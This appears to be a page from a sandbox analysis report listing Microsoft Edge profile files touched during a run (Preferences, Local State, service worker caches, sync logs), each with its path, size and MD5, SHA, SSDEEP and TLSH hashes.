MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 19KB
SHA256 5aeeae3b2b371122960c64622dbcf376c3da38a7538ad5abcb0034c322793a10
MD5 72e0567a3c1732047467c9ce3dded64a
SHA1 18d362417368872f5d6ca00e7338f717e6b2ff28
SHA512 eebbdcc006cbd1e4dd00a3291148c1e82f7209094f253c5fbb300772a1557ec63c64a937217a7ce9a6a8ca7909844e5ea9a566501885fb3a04dbe43251b49743
SSDEEP 384:sxZOnrEEm4W/fCspaxHH6C4sy/b+Njq15GxPylyCPy2:sgrNm4W/fPaxQ/b+w5YPwzP9
TLSH
T1C092D852662489778CDBD619BD357F13DBE81463DE510E4CAAFCCA1C04EA2FD261282B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 22KB
SHA256 882d9a671584602c8b502b272898c8f6ccf528bd1ef69104c99c475b1f262ef5
MD5 cc2e6bf3c454896ea4e70326c1c4c05b
SHA1 85d043ddd6c72ff88331b064ac3c64f404c63e2b
SHA512 6d0d95b8414c67a5eee163ead8d9a9c639b0ec99acc0039594e97e45451607ffa4d6cd609d5b1e4c23367b5adc130b124279ba897f77ed24ec5ce6447e97bc1a
SSDEEP 384:sxZOnrZim4W/fCsaWvySFxQa4HoCisy/b+Jj4xva0TPylyCPy2:sgr8m4W/f0YySFxDZ/b+ivagPwzP9
TLSH
T1BFA2E852652489B78CDBD619FD357F13DBF81463DE914E4C9AFCCA1C00DA6BC261282B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 21KB
SHA256 cc197994367bb437987005b7b1b634e7f7763e5fc0f9c1ee8ff003384d3d6ddf
MD5 16683c30495ef6a36a82bab0eeaa565d
SHA1 3c7776d73c74781f615ee8630704a057dcf11be7
SHA512 0af02a82baccd8706d37f9a7956a478b980e115ca884eaf08404b6ae541677dbb578e1fab8fbaca66cf602ef78fe2a3eb8bd62ce9d1ebd19cf52a0fad4a00176
SSDEEP 384:sxZOnrEAm4W/fCsnWv4axXH6C4sy/b+Jj4x5L/TPylyCPy2:sgrLm4W/fNY4axg/b+i5LrPwzP9
TLSH
T13CA2C752652485B78CDBD619BD357F13DBF81463DE914E4CAAFCCA1C00EA2FD261282B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 18KB
SHA256 bcf4edd671789a0081151ce6be318f11b1be8a4fad5f52051c3f28ab51016817
MD5 53affe9953a9d8334cf16d11296b6d56
SHA1 793ba235d1ddcf8dbfefce6aa1131f96f98ce952
SHA512 7f945f4877cafc13814932f000710e3dfefc02fdb9052b51ac7f9569136b8e043725b805dd20dda4db2319338d179aff8b899a35752436d13e0b0ea494cf0690
SSDEEP 384:zZOnrEEm1W/fCspH2HUC4sy/b+Nj/5lHPylyCPy2:OrNm1W/fPHz/b+95JPwzP9
TLSH
T1B982D752662489778DDBC619BD357F13DBE81463DE910E4CAAFCC91C04EA2FD261382B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 37KB
SHA256 e2245ccfaff136dd3843e9664324d3903ea43997bea9308f028fbf053afa3672
MD5 522549fd1ce5098cb737fdfea3a8429e
SHA1 71209760122e211fb2df1ccc0bebf993b3fbea72
SHA512 2681399cf1b63091b4ccf2d8f262a3f2d81587a49bd48da74992676d48f0117c19d810a6d2dc7ad856a55649201b6b9c4c153d0d94e19f0db44207bfde9a8070
SSDEEP 768:Et/Xh8dF2o57pLKL5wkWRmwcQZw8F1+UoAYDCx9Tuqh0VfUC9xbog/OV32qgjLlI:Et/Xh8dF2oPQ5wkWRmwcQZwu1jaK2qga
TLSH
T175031B7F2C0CCB7F4F844E9CEC267E9A6DE8018B9698895447FA890C03C66EB55171DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 28KB
SHA256 6a3c98d6a4fa04fc19de117a0249d64ccb71106d6ffd09a85350a3d97cf7daa9
MD5 46fd6f0507cb3dfb58f6d30f477a638e
SHA1 a684954ac6967bd526adcf34d930a9b1d10c7bd2
SHA512 efbc9330c985093a7fd0b9430068b1b44c3a25d063eac92c60d57efb93d524b5a093f1c52e73ab3557e91b1a7664b0902854c6873317b50de723e54c84e57ce7
SSDEEP 768:EM/Jh8oF2zkWRmwcQyw8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3TjLl/k601pTro+k:EM/Jh8oF2zkWRmwcQywu1jaKTjLpkD18
TLSH
T1F2D2FB7F640CCB7F4FC01A99EC566F972EA802C7A7588D4047FE894C02C77EA512A49B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 4b58792624fd8f4600a5562193c9c313113e04781adb98bc12edd4cc1abc8b3e
MD5 6ec38670cf6f99fbd14b2a49ea7a102a
SHA1 c1227c136d21c33bec4205684591ebcc5595c96c
SHA512 b94dae8f59138beee6a5a57cae27d8e187452a7e29b5cb5f62852106da7b643dfa92cc2201a25c1afbb008542ebeb7676603a32da1999913eb020d262f6c21a8
SSDEEP 768:Et/Xh8dF2mkWRmwcQZw8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3vjLl/k601/TrorB:Et/Xh8dF2mkWRmwcQZwu1jaKvjLpkD1Q
TLSH
T1AEE2193F280CC77F4F844E5DEC26AF966EE801CBA758495447FA894C03C67EB512A49B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 1e5e147bb918644c2d8500a703d09dc3f075e40fe6ba77d386af59163409bc9b
MD5 d77d3969da62d0461a556a606f7e5be4
SHA1 347b182f187ff51f8e0fb1a616ad2a92170ba4c8
SHA512 958882de60d55fe491f91af63009241ea15523c2b3571c686625f6ce1cc93d0ff51d76c854eb67155d3175639b6bf4145a23f1c69e3cd682dfbfd138e7c91e6c
SSDEEP 768:ER/Th8rF2a57pLKL5KkWRmwcQ1w8F1+UoAYDCx9Tuqh0VfUC9xbog/OV32qajLly:ER/Th8rF2aPQ5KkWRmwcQ1wu1jaK2qac
TLSH
T100F20A3F6C0CCB7F4F804E9DED267E9A6DE8018B9698895447FA484C03C66EB51161DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\1927bbd8-f4f8-4811-b807-9378a5e80acf\index-dir\the-real-index
Size 3KB
SHA256 afbe5bfed84de999580f00060b82b3c9c2c2a5bfcd27d807547dbd424cfac9e8
MD5 fd2745390930dcb1caa007f8a8f438b1
SHA1 1077d8d4ed1296c728439082eb3c92a121f5626c
SHA512 e615c027a0605462018ae3dee1b725a70ae929578638005532a4b931ea3ab73f4a8e6ee473c4c23e440ba53377a5d9b134bc3650c3a2ded95540ab82482b953f
TLSH
T15551E58E9D4A1965DEBD01B34AB1049033390DDD2BE44E07A8EC90BCFA939A91CE4738
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\35e883e0-6cb0-4875-9f9c-0a8beb1a83a9\index-dir\the-real-index
Size 96B
SHA256 bdbd2822c5bdcb2428daed2eb335aa25815155983ab92cbef63e6242c5b2248a
MD5 2ce0611698b807a4a453eee89246ff09
SHA1 eb6f756a9d56aa75225812f2c98b0b975bbe391d
SHA512 2622c1069d025da2ed65df8fd32fbcd823e78cd6ea1140c10f1f1592692d383340b95abcece14b4854144fdf8e35eea954288fdc1b0c5870dd29d67b65d5543a
TLSH
T131B0021826D14193D90633B025E744E17B389F6DE7032B1755A296A8CC91B9F4E5A89C
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 7ef9c6e85bfbf719a01995815bb8f516eee38d235836e1123fa5d28117487d26
MD5 2a2704812e27238b72f4648e798a7966
SHA1 8bef75b9f4391bbcf705e07bdbe80bdc48a9f364
SHA512 2a2422b40722b0fcef3fe8c1bfe6de56f688de1634998e94334d0a507153056a9a62372218b01163f99aea8ae31fb7de3fd38acc4f3e78d47cdfa8c3d11d1d3b
TLSH
T161E0D8FA3EA31868E8AF93D5147041E40145BDA88586ED4E301AE7CB10A13553455D61
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\4cc699dd486af2551d01b1a74abd5337c6e052e5\67cc9d68-52ff-4d77-95fe-3901ba4b9d12\index-dir\the-real-index
Size 72B
SHA256 ebf080c6fbcdac3afffc3e2700785ebcc85c058dd343521b08665e7ff15370e3
MD5 2194e42e34817c75209650502867eaa7
SHA1 9e269d849c48723e1c7ab1589af6e92685041a09
SHA512 6baa8a6be1ba9ca05a2c71a2502198ed3866ddd79009073b1281ed545834b5e3468e8732cd583808ed7dd0fb75abbb58b84dc648c539f024537d3bad7850d26a
TLSH
T157A00211EE551B01C49146F05985114477208D100060179154D400B59DE79454B12044
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\4cc699dd486af2551d01b1a74abd5337c6e052e5\67cc9d68-52ff-4d77-95fe-3901ba4b9d12\index-dir\the-real-index
Size 72B
SHA256 84afc5f955e5938bf101476925976b0a5dc9002a8452c62e382d52cce5db8fdb
MD5 dfaa2c6fe65171303a505bdda787e213
SHA1 bcd5214b0f3ac393aec055dafbb22a04165f3527
SHA512 bfa69da8200e907ddc7ade0947159e76b0241b32f809d3ca0ca217ec9f9304cc95c3d5c07f0abb3af8867631a019c34c7e1f6ca8dde5e40ed92a8608f4ebb9a2
TLSH
T1B6A0021C03587906C17DA7B12946D26076105D190156674148E400A5DD726454506400
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58f2d7.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\4cc699dd486af2551d01b1a74abd5337c6e052e5\67cc9d68-52ff-4d77-95fe-3901ba4b9d12\index-dir\the-real-index~RFe58f2d7.TMP
Size 48B
SHA256 50d36c7e922bbe5f4209b053cd98b95a0ebdf2ac2fb68997cc01b15e29126663
MD5 dd20126f94ba2f7970e1236ae660cb15
SHA1 3b79792bb0f81aa31f9d07c92c6b2e4ac294f6c9
SHA512 79631356f5f6c10096b6e409f52e9bddf73019e1086902704c021c89841a37b38e0259fdb5b18f7ff9c9123f8af76564b71f5aa5972e54bbdeca28f3a629dc26
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\4cc699dd486af2551d01b1a74abd5337c6e052e5\index.txt
Size 159B
SHA256 cfab65db3bc0d3c142369abf50fe2b358406c7a9d9e8bed76932620ee55eba22
MD5 e510e5a2623201d523e47167e916544e
SHA1 061dead0c604f1fe381555166e9c60bb240d9eaa
SHA512 1f35351f402122997ee369f8dfd69308f58b2557b93cc9ea9e5218c0f6f04efa207271954675fd9b0330592c626bfc9d6ccad2fb200054d6e9e2741cd987aa61
TLSH
T1ABC08CA729359010AF708EC1B0ACB1286D676A84E8D29DD9A14212DC05608532832FB3
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\4cc699dd486af2551d01b1a74abd5337c6e052e5\index.txt
Size 159B
SHA256 1f3f9ff8a3ff716aa83234fd6f81f506fc8bf0e49d3e99605a15743ee0ae9be9
MD5 fe290d047aeeeb550ccbe2e6d21dd558
SHA1 3e893983175b7197e976763af9d253a334ea4d7a
SHA512 607f6b6ec59f2f138355786b730bc42d9d704c6a8da6e44a85dfdf5452354a80d9b38db23a9c2c18a97dd19fe9e79c7c8a6fa3a6948ba4a3b3e2b711d3779a8d
TLSH
T194C08CA729359010BF308EC170ADB1286D676D88E8E299D9A14212DC0A608132822FB7
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe58f306.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\4cc699dd486af2551d01b1a74abd5337c6e052e5\index.txt~RFe58f306.TMP
Size 165B
SHA256 e55ab5cfa11fc08d7666f0ce036645db1c18823f4de291d02f9481ef54ae958b
MD5 26fb571087e3334190587b1cf9aecdf2
SHA1 cd1739deba95dcf9550594e208343371b0aaa769
SHA512 30a8833f28bba2868b1e05cbb9cb2a7b9caa099be6dc6b85536f5b7944e75e48e00661ed9b16fcef22ed4aa5f9bc7bd25ae08ec8acb4907df7a207df7453829e
TLSH
T1E2C08CA729759110AB304EC670BCA1186D676D88E8C299D9A18272EC05708132824FB3
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log
Size 5KB
SHA256 cbb41a2f155c1836b1b618fe76601035c0361b392fc43193982c75eb595cfcbf
MD5 944e5215ec550e239073469847ff17f2
SHA1 6600fddbcb760a4f60b7bed3832831b45ec60718
SHA512 0b041ca26c49e98adc8134003e0335a7c7321beae24c9424d2fd124160936db607f4a3d7cb541c63e670ff04ac12bb5bf97f97acb8c7f6d0e08db1fe630ae691
SSDEEP 96:F1m5HhUTzkxTfMX6PMXYzRIzKfp6jbp3mp6upv:F1YHhOABfpPlNIAAIlp
TLSH
T1E4C1F2E79A048053C9C596FB3039F6D49D1AC64D9FFE87A650BD4F6D15802D73228B8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 338B
SHA256 ed1e4005f991e8cee052755f5e398a6c2d8f5f3eb88ac1a3233128f9c8e366de
MD5 8c8ff0a99260449b92f66b029a8252de
SHA1 e6b00c0d3dda404e4d4184427328652adc1dc136
SHA512 936dc3eaa4ab48556d7d8bf314ba8d8df54ee839ec0b68d052887ad65e27b0656298a5ceb77c8435129a0676e246a012793582c44e5beff844640c16195d08a7
TLSH
T122E0DF2045C8D97D791930C74229A708C2EDB48BD2C839822F80CC8175C7504B29A980
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 168B
SHA256 d707f7eaea6bf16527e56deb653aa49e11894bb4df8f41f9b87f96243a7c459d
MD5 f139819960aa31e12485e54079e3cf11
SHA1 1a2ffca171f7edb95cc78755a0a30b2ef16b78a7
SHA512 28d61365723e11c573663e73594a998ada6a2abd5af481ca6184e3d1fa48a914a40e5d1b884f01da6dd7e15e1106b5b72d72256fa7eb3c0dc6c369191726cb5b
TLSH
T1B8C02B024A0C0400C82A4235DC73A0CC171444841B09132305F8F49C7C364400016003
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58f21b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58f21b.TMP
Size 48B
SHA256 8bc2323ca793a54059240858b9fc0e1eafe5327f5dd9a1f195dc49b7a53116b7
MD5 09ece70aeb67d6be22a5d7a24005bf81
SHA1 92d75e7050dbd8fc33e38595e64fad05fa3ebd76
SHA512 72378055f9ee56284dfe693b37db60169eb67bbe0c55945312e23a9d0a269562cb13ed87abd31f542ee0b09f709f25d8b1750047b2952725cf02c7f7d2163dde
MD5 SHA1 SHA512

Submit Download

Tabs_13424118645639642

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13424118645639642
Size 11KB
SHA256 17dbdb04ec40962daa28e55c0dbbb29c9329ae0a731bd85909019725b5e62366
MD5 fe65f0b5ac9e8bb402a0e3b2b105e6b5
SHA1 bc95a604ba68efaef3610af5af66ecb0b69ab9cd
SHA512 6a110ebfdac0d7ba1992e63d1661fa1fd29858a16e3aa0c5bf435d3e28c327fe34ff060f1126e23c7223925b230ebd52fe41feb8645b4e8be3b484b6e4106a30
SSDEEP 192:3cN7s/VRUJujHVRUJuFl3vVRUJudyOfFhXwS/m8VRUJuyVRUJuCHTb3tOz:Ma/VR4ujHVR4uPvVR4uffrZ/hVR4uyVt
TLSH
T14C32551614EA153DE2BE8FB4DBF135F6BD26F5142584DD1A189103050E22B429F72FBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 184B
SHA256 cae654685d21da1dcd6a20e7d2bb3b490177b29335b6f5c5a037968fe7d041d2
MD5 4d98e61199cfee329e277713c0523d6e
SHA1 71301e0115314c0831fe3ede15af550a691c4c5c
SHA512 e0a92a0dac1c20f4154a63cdc95d78115f9c06bbdb5bfe93fa92f9c1227f75cf836b33d1b2ff14d23c096b62b91000e9bd7f66d709f2a541323b7561ee6677d5
TLSH
T1F2C08C9673806A63D44B46322794A740A789D20210284833C54CFF1A2E463A83FC38EA
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 b0ff886a5f6bce4a42baa84676a6857e01ebe93d61f5590b6663cd0f385a28f8
MD5 c7a67f05a4be846953109f52b1373b0d
SHA1 3595a02cd2615d15cf54a270554a5cb966bdb390
SHA512 dc43ccc8a9062cbdaa46965c074491f56ade729ca478a390b45b5a2e677043a85449e4f65241d1804e88d3083d94d4245fca3cd965b4f25ee1708776a0cdc7b5
TLSH
T148E0487455CDCA3E7A4530DB936EE71CC1E2B446D6C829513B18D544774B144739BA81
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 cdf1c117d992f73378f686afdc5eff804785ff9d75cb5a603649d4b5352b2847
MD5 a85b204e863ebe41d9690cad0fc7758b
SHA1 f2a7eb7623a8878726583a1b42cd80c470e6f8ea
SHA512 2892738e19a59f994c834cdac55231e406d9ab791e08d9383dec0a25863fb84ebcbd756e351c33c83c475c26f0089c584653e5865f1d28ac8c86535ccdbffae8
TLSH
T1B5E086F085CDC639690560C7437AAF1CC2F4B90A97C83A86570CC440B942244F7EEDD4
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 3KB
SHA256 e3fead0091dbf6a4c7c94b9bddcd672be03c912783867f1f00e07bdcd08d6b36
MD5 73281d766a006f0b00a2130980bba06d
SHA1 63d16db7f10f768f6a381c39daedd94e9fbb614a
SHA512 32b75ce81e4c5276bc4db3a32ebf3e18cae5254baed988a0783163daaa5350dc03040caed6e957af94451efadb620c73b0bda5188cfdab16b6939393925e01a2
TLSH
T1F471161236BF02923D7E250993579B6E4A41B1A33096B43B37E990713E6BE254DFC8CD
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 d8c329b984ed2564560c17fcdb51541cf2267e142b5a2e1a9d71c1f9a048a9e9
MD5 0158510d49018da51d469ff11fcdb4f4
SHA1 faea3b1e78445197a40cd6e3fd27b612fdd72ebb
SHA512 187b70c14fc09c376ea1c405e8fa056f59dc7dedc01b54350b235ddf3bcce1349af562eaa46f143f0fa90101f348c205ece458848619e16bc8b75dc2999cab5f
SSDEEP 24:KdTQfT3TkTVaTadTCTCT+4TSTO+TlIjTYT+KiTthaTmT+1ETwTuSmTEMTt8ToTfg:KwxIhKa0k7yd3I5KY4cMiIfKvKQjytz
TLSH
T17B914B1136BF02923D7E250993538B6E4A41B1A3309AB47B37E990752E6BE250DFC8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arbitration_service_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json
Size 19KB
SHA256 5aff8c44b87ea4ce18f920e968b12704e9905366d716a99465e2de7aa588505b
MD5 73a472aea2a998a2af88f6c61bf0f4ad
SHA1 7666b8d53304ab3101a234f363cfaf17d3273a4c
SHA512 4b4d8f9cf5f708c4fd2cb0022404aac7f665cd7d8af4fa642fe9b44bf31de9d5572b8f268b6b401911cdb57189e22a84fb6630bd37cc186aa8a637613776555f
SSDEEP 192:vQeqfRR+nft0joCxc/i4utSfnwzYOq59/Z2ef8Hw54ecoaSbqG/I5zT8/:vQeiKF0jojq4uGEigefsSraSbqG/d
TLSH
T16292C150FD1B7D6F3BBAC0246B9464475CAA879EA874900AF2BCCD049FEDF240216D5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

load_statistics.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Size 196KB
SHA256 a3a9a4f9c8770f2dddede202250246697b4ee6e4aaa3fc02ec9a7dc527dcad84
MD5 e50fbee50b9eb28d76f8ffbaf4c1c511
SHA1 eb61823c08327188fcc24de79dc706f3c1d59d38
SHA512 62840eb4ee03e20b84013809187615578201e0b20c24bf37f5f8b11c943e30f64906089a399e05fb3db2fb83b93fdf1b808212d4b647a275218646ba2005fdfb
SSDEEP 1536:1ZLKkF4pw7VJcQP6ThvbMkbNCCP90oixta1qvp2n5NtR/:1ZJF4pw5SfvjUQ90DAConpR/
TLSH
T1CE1424A7BC0D915ADDDC5D79750FDF040FBA4280C500EBD6923E09AABEB49027FB059A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

load_statistics.db-wal

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal
Size 3.9MB
SHA256 447e6f125c6d3f0794d0f21ba4c8958339a0e5eed5fb5ea26cadc78af266b1bb
MD5 c37d0ec2ae5c32c1b1fea50637b26556
SHA1 d1f8027b4507b43af794f18b997ef6d41e6d2d0d
SHA512 8356ac2f2a995efbb62a66a886740d8d4274ed695ab9e565de36beb0271677693d69bca59ec185d02c19cb71743665c7dcc6e100415ee5133099f652bf8b5409
SSDEEP 24576:8pwvpw7eLLR8ePbuWhchB7uDcgnqPyjqZlC3PDMmwtwVwcpwMpwX:YeLLR8ePbuWhchB7uDcgnqPyjqZlC3PM
TLSH
T1B016BE55790D610EEDE95D7A770E9A0C1FE95180C810FBE3822F167DFDA48123F60AAB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a93c09d1-1da4-49c5-9807-66d0dfe97a8c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\a93c09d1-1da4-49c5-9807-66d0dfe97a8c.tmp
Size 22KB
SHA256 41d7425579d647887df4b3dcad99792016f6693f9de05ce3a861a12fcfcbdde4
MD5 dc2dabfd9cbeadca467ec254d1aafed1
SHA1 4a5d38d07a76caa5aebcefc35c08835cd3ca32c1
SHA512 ca1fcd861919d31a9d216a638f4f4da142bc8c2d47a311ba2b69f53a8773e46bbb7b0f3dae3548ed3d391ebb20e5ba1de0b8a986ea1a088835558e6b025bc3db
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/us:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAB
TLSH
T15AA2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 bbd00021004cb195eb09141614939576abc6750d2eb23d950bb93e3959bad9c9
MD5 912fcb09f033e2efecce46b61c781c28
SHA1 7409acfd1c29bfaff4092be6b5ddd332a2e6ef58
SHA512 7272aaead9f1dcb332b7da522cbcf0f451270d85c576786519869586116824d7f6e1f7e9bb07f8bbb7277eb2fcc6d944e25a6224be7a7ec0ae696fdf2631c310
SSDEEP 384:nctNnNnb9C8NcSTWRXib662r/E5kLQUBSTK3RlUVQvK:cjZb0dv6M/EAjBST+R26vK
TLSH
T1B3927D312875AC6B59D79615B40F3753AFBC11BF9A841E94E5ECAF0E02D739C230782A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 099c87400727ca64b5c2023230776bd8b450d1a4cb9d4696f38fda927d7797c2
MD5 9b0f6f53a4ed544aaae5a78c2521c4da
SHA1 84b41fc74e19c6b043927e7a1dd8c6cf0ce3141e
SHA512 2c1ed68c4b576ec812f69ec12c6ee7785a63d63cf24c7761422cc2a3615257c038bce426faaca65008e0ec529c8f8a8432af72839f2f659f4c014c69dd64776e
SSDEEP 384:n3tNnNnb9C8NRSTWRXiLp62r/E5kf59zo98osu8AKRF9p3uBSTK3RlUVQvK:3jZb0qu6M/EonozVKRFD+BST+R26vK
TLSH
T118C24B3D9C755D7E48AEB708AA0E3A225D6C023FC6B45D98E3E91B0EC2B655CF342425
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 edf485ef1e3aa26d31ba6b95048c7dfa492b61e124e3c12f414c32e08da0a92c
MD5 b75b9fe43c6406004cb0720b26ab83ad
SHA1 95d9df4535852df3957daa145b514b67426de399
SHA512 ae229fcef1c27e1c9f4a376e623639cfae054bdadf2b6407da696c3386d2ecee9c8109dc10b5962a6839f0552061fb5979cef16dac6353c37f93eb18c70ab98b
SSDEEP 384:n3tNnNnb9C8NRSTWRXiLo62r/E5kf59zo98osu8AKRF9p3uBSTK3RlUVQvK:3jZb0qr6M/EonozVKRFD+BST+R26vK
TLSH
T163C23A3D9C755D7E48AEB708AA0E3A225D6C023FC6B45D98E3E91B0EC2B655CF342425
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 21KB
SHA256 9ac50fdb3d6a6d0a23f17741147d767abcfac03842378d67dfcca1ff3187bcad
MD5 48fdb6f22e52a203cbf1db3c92c061fc
SHA1 9ff2f5d6010680a33658789b5ca0fd1a6f358e52
SHA512 b7ad866277fa75ccb5d0f0637c2babd6610a5fae5869a4341bf06a040efe084f72fc47ecbc364ae46f82a4c38de07809639a907043c89d6b0231d80120f208c1
SSDEEP 384:nUtNnNnb9C8NNSTWRXiHX62r/E5kOnBSTK3RlUVQBF1/7Izym:UjZb0yQ6M/EVnBST+R26Dm
TLSH
T188A26C352C786CAB9DA39A19B51F3B03BFBC11AF86D41E94D5E85B0F12C729C2307825
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 6d20078b81648c853e61c9983c8020c03ac83684debff730e2081705da6add13
MD5 610550326c2c3ba0c7b488dbd9a86547
SHA1 1d05183e71d52f2e80857090ea35d2dfb31202e4
SHA512 15dc11aeb31ed8e9c9104807d93f81a52c945424826838f4922f7ef59ec8ec2c589bda1618014c38f3def8a7fb85b74d0544d80464e8ae30791f4a3eed9db62d
SSDEEP 192:1GNl6t6H3MQmiUyU0g2Dq/rUH5mAR8mYXq/9ndr/aMzU6:1GNl6MXcT2Dq/E5kKQUU6
TLSH
T1EA122B3078ACEC6B4D97A615B48B37539E68207BDBC59F98E5E41B1C01DB6D8270B823
